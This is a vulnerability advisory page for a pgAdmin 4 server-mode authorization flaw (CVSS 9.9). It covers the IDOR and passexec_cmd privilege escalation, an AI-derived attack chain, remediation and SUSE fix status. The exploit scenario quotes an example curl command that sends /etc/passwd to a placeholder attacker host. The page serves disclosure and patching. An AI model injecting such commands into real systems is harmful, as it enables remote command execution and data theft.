Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate to pgAdmin 4 server
-
DeliveryEnumerate server object IDs via API
-
ExploitRetrieve victim's server config with credentials
-
InstallInject malicious passexec_cmd via Shared Server API
-
C2Victim connects to PostgreSQL
-
ExecuteExecute arbitrary commands as server owner
-
ImpactExfiltrate data or establish persistence
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Access control enforcement
MITRE ATT&CK
1 technique across 1 tactic: Defense Evasion The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires authenticated access to a pgAdmin 4 instance running in server mode (multi-user deployment). Desktop mode installations are not vulnerable as each user operates an isolated instance. Attack succeeds against default server-mode configurations with no special feature enablement required beyond having at least two user accounts. Exploitation of the passexec_cmd privilege escalation specifically requires that the victim user has configured a server connection and later initiates a connection attempt, triggering command execution. The Shared Servers feature must be accessible to exploit credential leakage and owner-data corruption issues, though basic IDOR attacks against Server Groups and Background Processes modules work regardless of Shared Servers configuration. No network positioning beyond reaching the pgAdmin web interface is required (AV:N). Attack complexity is low (AC:L) as sequential ID guessing and standard HTTP API calls are sufficient. |
| Impact | Critical real-world risk despite requiring authentication (PR:L). The CVSS 9.9 score accurately reflects scope change (S:C) as attackers execute commands in the victim's process context, not their own. Attack complexity is low (AC:L) because exploitation requires only guessing sequential integer object IDs and calling standard API endpoints - no vulnerability-specific knowledge needed. The credential leakage component enables lateral movement beyond pgAdmin itself: stolen SSL keys and passfiles grant direct PostgreSQL database access. The passexec_cmd privilege escalation is particularly severe in containerized or multi-tenant environments where pgAdmin runs as a shared service account with elevated permissions. However, exploitation is contained to authenticated users within the same pgAdmin instance, limiting blast radius compared to unauthenticated remote code execution. The absence of POC code and KEV listing suggests exploitation has not yet become widespread, but the vulnerability is straightforward to exploit once an attacker has valid credentials. Organizations running pgAdmin 4 in server mode (versus desktop mode) face immediate risk. SSVC assessment: exploitation status unknown, automatable (API-driven), technical impact total (RCE + data theft). Patch availability in version 9.15 provides clear remediation path, making this a high-priority upgrade for server-mode deployments. |
| Exploit ScenarioDerived | An authenticated low-privilege pgAdmin user enumerates server object IDs by incrementing integers in API requests to endpoints like /servers/{id}. Upon discovering another user's private PostgreSQL server connection, the attacker retrieves the full configuration including passfile paths and SSL certificate locations. The attacker then crafts a PATCH request to the Shared Servers API endpoint, injecting a malicious passexec_cmd value such as 'curl http://attacker.com/exfil?data=$(cat /etc/passwd)'. When the legitimate server owner next connects to their PostgreSQL instance, pgAdmin executes the attacker's shell command in the owner's process context, exfiltrating sensitive files or establishing a reverse shell with the owner's privileges. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 11, 2026
Authorization bypass and privilege escalation in pgAdmin 4 server mode allows authenticated users to access other users' private database servers, credentials, and background processes by guessing object IDs. Attackers can execute arbitrary shell commands as the server owner by modifying the passexec_cmd field through unprotected API endpoints. The vulnerability combines horizontal privilege escalation (accessing peer users' objects), vertical escalation (executing commands as owner), and credential theft (SSL keys, passfiles). No public exploit code identified at time of analysis, but exploitation requires only low-privilege authentication with no user interaction (CVSS PR:L/UI:N). EPSS data not provided; CISA KEV status not confirmed.
RemediationAI
Upgrade to pgAdmin 4 version 9.15 or later, which includes comprehensive authorization fixes via pull requests 9830 and 9835. The patch introduces database schema migrations that add user_id columns to debugger_function_arguments tables and create composite primary keys scoping all objects to requesting users. Advisory and patch available at https://github.com/pgadmin-org/pgadmin4/pull/9830 and https://github.com/pgadmin-org/pgadmin4/pull/9835. If immediate upgrade is not feasible, disable server mode and migrate users to desktop mode deployments where each user runs an isolated pgAdmin instance (eliminates multi-user attack surface but sacrifices centralized management). Alternatively, restrict pgAdmin access to highly trusted administrators only via network ACLs or authentication proxy, accepting that any authenticated user can compromise all others until patched. For Shared Servers feature specifically, disable the feature entirely via configuration if upgrade cannot be performed immediately (prevents passexec_cmd exploitation but does not address IDOR issues in other modules). Note that workarounds provide only partial risk reduction; upgrade to 9.15 is the only complete remediation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in pypi, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
pgAdmin 4 is a web-based administration platform for PostgreSQL databases. In server mode (multi-user deployment), the application stores user-owned resources including server connection definitions, server groups, and debugger state in a shared SQLAlchemy ORM backend. The vulnerability stems from missing authorization filters on object retrieval queries across five modules: Server Groups, Servers, Shared Servers, Background Processes, and Debugger. Multiple endpoints fetched objects by primary key (ID) without scoping to the authenticated user's identity, allowing Insecure Direct Object Reference (IDOR) attacks. The Shared Servers feature stored owner-only fields (passexec_cmd, passfile, SSL certificates) in the same ORM model as non-owner editable fields, without field-level access control. The passexec_cmd field is particularly dangerous as it contains shell commands executed during PostgreSQL connection establishment in the owner's process context. SQLAlchemy session mutations allowed non-owners to corrupt owner data by editing fields that lacked per-user persistence (kerberos_conn, tags, post_connection_sql). The fix introduces a UserScopedMixin that adds user_id foreign keys and composite primary keys to all user-owned models, a centralized server_access authorization module, and field-level suppression of owner-only attributes in API responses and merge operations.
Know when Pgadmin 4 gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Primary rating from Vendor (PostgreSQL).
CVSS VectorVendor: PostgreSQL
Lifecycle Timeline
2DescriptionCVE.org
Authorization vulnerability in pgAdmin 4 server mode affecting Server Groups, Servers, Shared Servers, Background Processes, and Debugger modules.
Multiple endpoints fetched user-owned objects without filtering by the requesting user's identity. An authenticated user could access another user's private servers, server groups, background processes, and debugger function arguments by guessing object IDs.
Additionally, the Shared Servers feature contained multiple issues including credential leakage (passexec_cmd, passfile, SSL keys), privilege escalation via writable passexec_cmd (a shell command executed when establishing the connection) allowing arbitrary command execution in the owner's process context, and owner-data corruption via SQLAlchemy session mutations. Several owner-only fields (passexec_cmd, passexec_expiration, db_res, db_res_type) were writable by non-owners through the API, and additional fields (kerberos_conn, tags, post_connection_sql) lacked per-user persistence so non-owner edits mutated the owner's record.
Fix centralises access control via a new server_access module, scopes all user-owned models with a UserScopedMixin, returns HTTP 410 from connection_manager when access is denied in server mode, suppresses owner-only fields for non-owners across the merge / API response / ServerManager paths, and adds an explicit owner-only write guard. The remediation landed in two pull requests; both are referenced.
This issue affects pgAdmin 4: before 9.15.
Executive ViewAI
pgAdmin 4 server mode contains a critical authorization bypass vulnerability (CVSS 9.9) enabling authenticated users to access other users' databases, steal credentials, and execute arbitrary commands as the server owner by exploiting unprotected API endpoints. Organizations running pgAdmin 4 in multi-user server deployments face immediate risk of lateral movement, credential compromise, and system-level code execution without requiring administrative privileges or user interaction.
Apply vendor patch. If patching is delayed, implement network segmentation to restrict pgAdmin 4 access to administrative jump-hosts only; disable or restrict API endpoints handling passexec_cmd and server object modifications; enforce IP whitelisting; conduct enhanced monitoring of API calls to pgAdmin 4 and review user access patterns for anomalies.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
pgAdmin <= 8.3 is affected by a path-traversal vulnerability while deserializing users’ sessions in the session handling
pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE) vulnerability through the validate binary path API. Rated cr
Remote unauthenticated access to two SQL Editor endpoints in pgAdmin 4 server-mode deployments (versions 6.9 through 9.1
The pgAdmin server includes an HTTP API that is intended to be used to validate the path a user selects to external Post
pgAdmin versions 8.11 and earlier are vulnerable to a security flaw in OAuth2 authentication. Rated medium severity (CVS
Remote code execution in pgAdmin 4 (versions up to and including 9.9) lets an attacker who can get a crafted PLAIN-forma
Remote SQL injection via prompt injection in pgAdmin 4 versions 9.13 through 9.15 allows attackers who can write content
SQL injection sandbox escape in pgAdmin 4's AI Assistant (versions 9.13 through 9.16) lets an attacker break out of the
OS command injection in pgAdmin 4 (all versions before 9.18) lets an authenticated user with the commonly-granted tools_
pgAdmin <= 8.5 is affected by XSS vulnerability in /settings/store API response json payload. Rated medium severity (CVS
Authentication bypass in pgAdmin 4 (versions 6.2 through 9.17) lets any client that can reach the pgAdmin web interface
Same weakness CWE-284 – Improper Access Control
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| SUSE Linux Enterprise Desktop 15 SP7 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Fixed |
| SUSE Linux Enterprise Module for Python 3 15 SP7 | Fixed |
| SUSE Linux Enterprise Server 15 SP7 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise Module for Python 3 15 SP6 | Fixed |
| SUSE Linux Enterprise Module for Server Applications 15 SP4 | Fixed |
| SUSE Linux Enterprise Module for Server Applications 15 SP5 | Fixed |
| SUSE Linux Enterprise Server 15 SP4 | Fixed |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP5 | Fixed |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP6 | Fixed |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Fixed |
| SUSE Manager Proxy 4.3 | Fixed |
| SUSE Manager Proxy LTS 4.3 | Fixed |
| SUSE Manager Retail Branch Server 4.3 | Fixed |
| SUSE Manager Retail Branch Server LTS 4.3 | Fixed |
| SUSE Manager Server 4.3 | Fixed |
| SUSE Manager Server LTS 4.3 | Fixed |
| SUSE CaaS Platform 4.0 | Fixed |
| SUSE Enterprise Storage 6 | Fixed |
| SUSE Enterprise Storage 7 | Fixed |
| SUSE Enterprise Storage 7.1 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP6 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP1 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP1-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP1-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP6 | Fixed |
| SUSE Linux Enterprise Module for Server Applications 15 SP1 | Fixed |
| SUSE Linux Enterprise Module for Server Applications 15 SP2 | Fixed |
| SUSE Linux Enterprise Module for Server Applications 15 SP3 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP2 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP3 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP4 | Fixed |
| SUSE Linux Enterprise Server 15 SP1 | Fixed |
| SUSE Linux Enterprise Server 15 SP1-BCL | Fixed |
| SUSE Linux Enterprise Server 15 SP1-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP2 | Fixed |
| SUSE Linux Enterprise Server 15 SP2-BCL | Fixed |
| SUSE Linux Enterprise Server 15 SP2-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP3 | Fixed |
| SUSE Linux Enterprise Server 15 SP3-BCL | Fixed |
| SUSE Linux Enterprise Server 15 SP3-LTSS | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP1 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP2 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP3 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Fixed |
| SUSE Manager Proxy 4.0 | Fixed |
| SUSE Manager Proxy 4.1 | Fixed |
| SUSE Manager Proxy 4.2 | Fixed |
| SUSE Manager Retail Branch Server 4.0 | Fixed |
| SUSE Manager Retail Branch Server 4.1 | Fixed |
| SUSE Manager Retail Branch Server 4.2 | Fixed |
| SUSE Manager Server 4.0 | Fixed |
| SUSE Manager Server 4.1 | Fixed |
| SUSE Manager Server 4.2 | Fixed |
| openSUSE Leap 15.3 | Fixed |
| openSUSE Leap 15.4 | Fixed |
| openSUSE Leap 15.5 | Fixed |
EUVD-2026-29081
GHSA-h2x2-q2mc-24gw
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB